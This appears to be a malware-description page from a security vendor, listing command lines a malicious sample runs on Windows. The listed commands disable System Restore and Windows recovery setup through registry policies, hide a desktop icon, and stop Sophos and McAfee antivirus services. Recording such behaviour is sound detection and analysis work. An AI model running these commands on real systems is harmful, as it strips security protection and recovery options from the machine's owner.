'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Message Router"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos Message Router"
'<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "McAfeeEngineService"

Tecnologías

Términos

Formación y educación

Mitos

Technical Information

Curing recommendations

Free trial